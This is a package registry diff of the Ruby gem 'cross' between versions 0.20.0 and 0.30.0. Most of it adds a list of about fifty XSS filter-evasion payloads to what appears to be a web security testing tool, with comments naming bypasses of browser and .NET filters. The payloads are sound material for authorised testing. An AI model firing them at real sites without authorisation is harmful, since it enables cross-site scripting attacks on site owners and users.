cross 0.20.0 → 0.30.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. data/lib/cross/version.rb +1 -1
  2. data/lib/cross/xss.rb +50 -1
  3. metadata +3 -4
  4. data/README.md +0 -29
data/lib/cross/version.rb CHANGED
@@ -1,3 +1,3 @@
1
1
  module Cross
2
- VERSION = "0.20.0"
2
+ VERSION = "0.30.0"
3
3
  end
data/lib/cross/xss.rb CHANGED
@@ -9,7 +9,56 @@ module Cross
9
9
  "/--><script>alert('cross canary');</script>",
10
10
  "/--></ScRiPt><ScRiPt>alert('cross canary');</ScRiPt>",
11
11
  "//;-->alert('cross canary');",
12
- "\"//;\nalert('cross canary');"
12
+ "\"//;\nalert('cross canary');",
13
+ # more exotic vectors (antisnatchor's collection)
14
+ "<script/anyjunk>alert('cross canary')</script>",
15
+ "<<script>alert('cross canary');//<</script>",
16
+ "<img onerror=alert('cross canary') src=a>",
17
+ "<xml onreadystatechange=alert('cross canary')>",
18
+ "<style onreadystatechange=alert('cross canary')>",
19
+ "<iframe onreadystatechange=alert('cross canary')>",
20
+ "<object onerror=alert('cross canary')>",
21
+ "<object type=image src=/images/live.gif onreadystatechange=alert('cross canary')></object>",
22
+ "<img type=image src=/images/live.gif onreadystatechange=alert('cross canary')>",
23
+ "<input type=image src=/images/live.gif onreadystatechange=alert('cross canary')>",
24
+ "<isindex type=image src=/images/live.gif onreadystatechange=alert('cross canary')>",
25
+ "<script onreadystatechange=alert('cross canary')>",
26
+ "<bgsound onpropertychange=alert('cross canary')>",
27
+ "<body onbeforeactivate=alert('cross canary')>",
28
+ "<body onfocusin=alert('cross canary')>",
29
+ "<input autofocus onfocus=alert('cross canary')>",
30
+ "<input onblur=alert('cross canary') autofocus><input autofocus>",
31
+ "<body onscroll=alert('cross canary')><br><br>...<br><input autofocus>",
32
+ "</a onmousemove=alert('cross canary')>",
33
+ "<video src=1 onerror=alert('cross canary')>",
34
+ "<audio src=1 onerror=alert('cross canary')>",
35
+ "<object data=javascript:alert('cross canary')>",
36
+ "<iframe src=javascript:alert('cross canary')>",
37
+ "<embed src=javascript:alert('cross canary')>",
38
+ "<form id=test /><button form=test formaction=javascript:alert('cross canary')>",
39
+ "<event-source src=javascript:alert('cross canary')>",
40
+ "<x style=behavior:url(#default#time2) onbegin=alert('cross canary')>",
41
+ "<x style=x:expression(alert('cross canary'))>",
42
+ "<x onclick=alert('cross canary') src=a>Click here</x>",
43
+ "<img onerror=\"alert('cross canary')\"src=a>",
44
+ "<img onerror=`alert('cross canary')`src=a>",
45
+ "<img/onerror=\"alert('cross canary')\"src=a>",
46
+ "<img onerror=a&#x6c;ert('cross canary') src=a>",
47
+ "<img onerror=a&#x06c;ert('cross canary') src=a>",
48
+ "<img onerror=a&#x006c;ert('cross canary') src=a>",
49
+ "<img onerror=a&#x0006c;ert('cross canary') src=a>",
50
+ "<img onerror=a&#108;ert('cross canary') src=a>",
51
+ "<img onerror=a&#0108;ert('cross canary') src=a>",
52
+ "<img onerror=a&#0108;ert('cross canary') src=a>",
53
+ "<img onerror=a&#108ert('cross canary') src=a>",
54
+ "<img onerror=a&#0108ert('cross canary') src=a>",
55
+ "<script>function::['alert']('cross canary')</script>",
56
+ "<svg><script>//&#x0A;alert('cross canary')</script>", #Chrome <= 18 XssAuditor bypass
57
+ "<script>/*///*/alert('cross canary');</script>", #Chrome <= 20 XssAuditor bypass
58
+ "<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('cross canary'))>", #.NET RequestValidator bypass
59
+ "+ADw-script+AD4-alert('cross canary')+ADw-/script+AD4-", # UTF-7
60
+ "},alert('cross canary'),function x(){//", # DOM breaker
61
+ "\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3ealert('cross canary')\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e" #DOM-based innerHTML injection
13
62
  ]
14
63
  evasions.each do |pattern|
15
64
  yield pattern if block_given?
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: cross
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.20.0
4
+ version: 0.30.0
5
5
  prerelease:
6
6
  platform: ruby
7
7
  authors:
@@ -121,7 +121,6 @@ files:
121
121
  - .rvmrc
122
122
  - Gemfile
123
123
  - LICENSE
124
- - README.md
125
124
  - README.rdoc
126
125
  - Rakefile
127
126
  - VERSION
@@ -147,7 +146,7 @@ required_ruby_version: !ruby/object:Gem::Requirement
147
146
  version: '0'
148
147
  segments:
149
148
  - 0
150
- hash: 487062861682332119
149
+ hash: 3227883298359843932
151
150
  required_rubygems_version: !ruby/object:Gem::Requirement
152
151
  none: false
153
152
  requirements:
@@ -156,7 +155,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
156
155
  version: '0'
157
156
  segments:
158
157
  - 0
159
- hash: 487062861682332119
158
+ hash: 3227883298359843932
160
159
  requirements: []
161
160
  rubyforge_project:
162
161
  rubygems_version: 1.8.24
data/README.md DELETED
@@ -1,29 +0,0 @@
1
- # Cross
2
-
3
- TODO: Write a gem description
4
-
5
- ## Installation
6
-
7
- Add this line to your application's Gemfile:
8
-
9
- gem 'cross'
10
-
11
- And then execute:
12
-
13
- $ bundle
14
-
15
- Or install it yourself as:
16
-
17
- $ gem install cross
18
-
19
- ## Usage
20
-
21
- TODO: Write usage instructions here
22
-
23
- ## Contributing
24
-
25
- 1. Fork it
26
- 2. Create your feature branch (`git checkout -b my-new-feature`)
27
- 3. Commit your changes (`git commit -am 'Added some feature'`)
28
- 4. Push to the branch (`git push origin my-new-feature`)
29
- 5. Create new Pull Request